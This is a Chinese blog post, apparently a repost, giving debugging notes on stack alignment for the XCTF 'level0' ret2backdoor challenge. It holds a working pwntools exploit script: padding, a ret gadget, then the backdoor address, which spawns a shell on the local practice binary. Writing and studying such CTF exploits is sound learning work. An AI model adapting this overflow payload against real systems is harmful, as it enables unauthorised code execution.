攻防世界pwn-level0栈对齐

news/2024/11/14 23:57:11/文章来源:https://www.cnblogs.com/shenquanxiayi/p/18547179

ret地址学习

NewStarCTFweek2-ez_game中出现了栈对齐相关知识点,所以特地前来学习,本篇主要为调试记录,由于远程非常轻易就可打通,故重点关注于本地打通

使用 ret_addr = hex(next(elf.search(asm('ret'))))寻找汇编指令ret(n)的地址

┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# cat test.py  
from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
ret_addr = hex(next(elf.search(asm('ret'))))
print(ret_addr)

查找结果:

┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# python3 test.py
[+] Starting local process './pwn': pid 336505
[*] '/root/Desktop/Adworld XCTF/level0/pwn'
...
0x400431					#找到的地址为0x400431

把找到的地址放入构造的payload中

ret_addr = hex(next(elf.search(asm('ret'))))
payload = b'a' * 136 + p64(ret_addr) + p64(backdoor_addr)

运行,报错

┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# python3 test.py
[+] Starting local process './pwn': pid 337233
[*] '/root/Desktop/Adworld XCTF/level0/pwn'Arch:       amd64-64-littleRELRO:      No RELROStack:      No canary foundNX:         NX enabledPIE:        No PIE (0x400000)Stripped:   No
Traceback (most recent call last):File "/root/Desktop/Adworld XCTF/level0/1.py", line 8, in <module>payload = b'a' * 136 + p64(ret_addr) + p64(backdoor_addr)^^^^^^^^^^^^^File "/usr/lib/python3/dist-packages/pwnlib/context/__init__.py", line 1601, in setterreturn function(*a, **kw)^^^^^^^^^^^^^^^^^^File "/usr/lib/python3/dist-packages/pwnlib/util/packing.py", line 422, in p64return _do_packing('p', 64, number)^^^^^^^^^^^^^^^^^^^^^^^^^^^^File "/usr/lib/python3/dist-packages/pwnlib/util/packing.py", line 347, in _do_packingreturn {("little", True ):  ls,^^^^^^^^^^^^^^^^^^^^^^^^File "/usr/lib/python3/dist-packages/pwnlib/util/packing.py", line 321, in routinereturn struct_op(data)^^^^^^^^^^^^^^^
struct.error: required argument is not an integer
[*] Stopped process './pwn' (pid 337233)

在IDA中使用 Alt + T 查找ret,发现存在多条ret(n)汇编指令



尝试把原来使用elf.search()找到的0x400431 ret指令的地址替换为0x4005a5

payload = b'a' * 136 + p64(0x4005a5) + p64(backdoor_addr)

重新运行脚本,本地打通

┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# python3 test.py 
[+] Starting local process './pwn': pid 361884
[*] '/root/Desktop/Adworld XCTF/level0/pwn'Arch:       amd64-64-littleRELRO:      No RELROStack:      No canary foundNX:         NX enabledPIE:        No PIE (0x400000)Stripped:   No
0x400431
[*] Switching to interactive mode
$ ls
core.327566  core.336505  pwn  test.py
$ 
[*] Interrupted
[*] Stopped process './pwn' (pid 361884)

通过尝试使用地址0x400549(另外一个ret指令地址)也可以打通,分析后发现规律,只有在ret指令前面有pop rbp指令的ret地址(即pop rbp;ret;)才可以用于栈对齐。

由于一个程序中通常存在多条ret指令,故使用elf.search()函数寻找的ret地址不一定就可用于构造payload,并且通过本题还可以发现,其寻找的结果为这些地址中的较低地址,即由低地址向高地址寻找,找到即返回结果(和IDA寻找的方式很相似呢)

exp

from pwn import *io = process('./pwn')
#io = remote(ip, port)
elf = ELF('./pwn')
io.recvuntil(b"World\n")
backdoor_addr = 0x400596
#ret_addr = hex(next(elf.search(asm('ret'))))       #使用此函数寻找的ret地址无效
payload = b'a' * 136 + p64(0x400549)+ p64(backdoor_addr)
#print(ret_addr)
io.sendline(payload)
io.interactive()

文章参考:栈对齐—获取shell前的临门一脚

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/833715.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习面试的时候,如何回答1x1卷积的作用

11月了,秋招已经开始了。不知最近有没有同学在投简历面试呢? 回想起几年前我面试某大厂的时候,被问到了很多深度学习相关的知识,那时的我懂的不多,可以说是被面试官360度无死角蹂躏。 那次面试,印象最深的是问了很多与卷积相关的问题,导致我后来工作一段时间看到卷积就时…

day4-Scrum

这个作业属于哪个课程 https://edu.cnblogs.com/campus/gdgy/CSGrade22-34/作业要求 需求&原型改进、系统设计、Alpha任务分配计划、测试计划团队项目仓库 https://github.com/bitpurleclude/GDUT-Goofish/issues团队成员 李嘉锐 车峤锐 于海洋 林进光 黄健 钟启…

GPU编程

来源:https://worktile.com/kb/p/2155928gpu编程有什么用? 图形处理单元(GPU)编程具有多种用途,主要包括:1、加速大规模计算任务、2、图形和视频渲染、3、深度学习和机器学习。GPU编程在深度学习和机器学习领域尤为重要。它允许数据科学家和研究人员利用GPU的并行处理能力…

Objects

概述 Objects 是一个工具类, 提供了一些方法去完成一些功能. Objects 类中的常见的成员方法:图1 Objects 类中的常见的成员方法equals 方法 程序示例: Javabean 类: public class Student {private String name;private int age;public Student() {}public Student(String name…

项目冲刺-3

一、昨日已完成的任务 学习有关springboot,vue等前后端知识,明确要开发的功能,初步搭好底层框架,做完了登录注册功能。 今日计划完成的任务 完善数据库和底层框架,学习有关知识,继续尝试做功能接口。 工作中遇到的困难 成员的前后端基础较差,需要花大量时间入门,目前做…

BigInteger

对象一旦创建, 内部记录的值是不能发生改变的.程序示例: public class demo1 {public static void main(String[] args) {/** public BigInteger(int num, Random rnd) 获取随机大整数, 范围: [0~ 2 的 num 次方 -1]* public BigInteger(String val) 获取指定的大整数* public …

Cuda 驱动安装

Cuda 驱动的安装方法。Author: ACatSmiling Since: 2024-11-13CUDA(Compute Unified Device Architecture):是 NVIDIA 推出的一种并行计算平台和编程模型,它允许开发者利用 NVIDIA GPU(图形处理器)的强大计算能力进行通用计算,而不仅仅局限于图形处理。简单来说,CUDA 提…

[RoarCTF 2019]Easy Java 1

[RoarCTF 2019]Easy Java 1 打开实例发现登录框,尝试万能密码admin or 1=1#后无果注意到登录框下有个help,点击发现文件读取显示文件notfound,文件未找到,怀疑是请求方法问题,尝试POST请求发现能成功下载,确定这道题为任意文件下载 打开help.docx,显示看来文件不在这里,…

【linux日志】web日志分析

WEB正确日志格式分析#日志统计举例[root@master ~]# cat /etc/httpd/logs/access_log |awk {print $1}#对IP排序[root@master ~]# cat /etc/httpd/logs/access_log |awk {print $1}|sort#打印每一个重复出现IP的次数,[root@master ~]# cat /etc/httpd/logs/access_log |awk {p…

SpringBoot配置多数据源实战

SpringBoot配置多数据源实战@目录SpringBoot配置多数据源实战需求来源:简单粗暴3步使用步骤:思路讲解:目录结构:使用注意点: SpringBoot配置多数据源实战 需求来源: 当相关业务场景想实现同时操作2个甚至多个不同数据库表的时候,就需要配置多个数据源。简单粗暴3步使用步…

HTTP 协议学习笔记

HTTP 协议学习笔记 带新手走进神秘的HTTP协议 - 超超boy - 博客园 HTTP 首部字段详细介绍 - 超超boy - 博客园 《白帽子讲 web 安全(第二版)》HTTP 默认的端口号为 80,HTTPS 的端口号为 443。HTTP 是无状态协议,它不对之前发生过的请求和响应的状态进行管理。 可以使用 Coo…

自主研发RPA,基于uiautomatorviewer的自动化代码生成器,一键生成Java代码和Cucumber描述文件

介绍 基于UI Automator进行二次开发,让你不懂开发也能编写自动化测试代码, 一边生成代码一边Debug,毫不费力写出完美的自动化测试代码 。该工具集成了Tomcat使得添加新的功能的时候使用HTML+API进行开发,降低了开发难度;集成了Derby数据库,测试用例持久化到数据库。 软件…